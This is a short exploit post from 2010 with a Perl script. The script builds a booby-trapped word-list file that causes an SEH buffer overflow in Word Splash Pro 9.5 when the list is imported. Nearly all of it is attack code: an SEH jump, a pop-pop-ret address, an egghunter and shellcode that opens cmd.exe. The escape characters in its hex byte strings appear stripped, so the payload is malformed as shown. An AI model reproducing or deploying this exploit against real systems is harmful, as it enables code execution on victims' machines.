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Word Splash Pro 9.5 Buffer Overflow

Posted on 20 December 2010

# Exploit Title: Word Splash Pro  <= 9.5 Buffer Overflow -EggHunter-
# Software Link: http://www.chronasoft.com/software/wordsplashpro
# Version: <= 9.5
# Tested on: Win XP SP3 French
# Date: 20/12/2010
# Author: h1ch4m
#Email: h1ch4m@live.fr
#Home: Net-Effects.blogspot.com
#Greetz : Peter Van Eeckhoutte, Exploit-Database Team,  Zhir0
#Note: tested on version 9.5 & 8.3,  you may have to change the address of pop pop ret according to your sp & the program version
# triggering details:  file->Word list->Import then click on Word List Builder button

my $file = "1.wsl";

my $size = 4112;

my $nseh = "xebx06x90x90"; # jump 6 bytes

my $seh = pack('V', 0x01de44dc); # pop pop ret  from CRDE2000.DLL

my $egg = "w00tw00t";

my $egghunter = "x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8".
"x77x30x30x74".
"x8BxFAxAFx75xEAxAFx75xE7xFFxE7";

# Shellcode :  windows/XP sp2 (FR) Sellcode cmd.exe 32 bytes - Mountassif Moad aka Stack
#                      http://www.exploit-db.com/exploits/13510/
my $shellcode = "x8BxECx33xFFx57".
"xC6x45xFCx63xC6x45".
"xFDx6DxC6x45xFEx64".
"xC6x45xF8x01x8D".
"x45xFCx50xB8xC7x93".
"xBFx77xFFxD0";

my $junk = "x90" x ($size-length($egg.$shellcode));

open($FILE,">$file");
print $FILE $egg.$shellcode.$junk.$nseh.$seh.$egghunter;
close($FILE);
print "File Created successfully
";
sleep(1);

 

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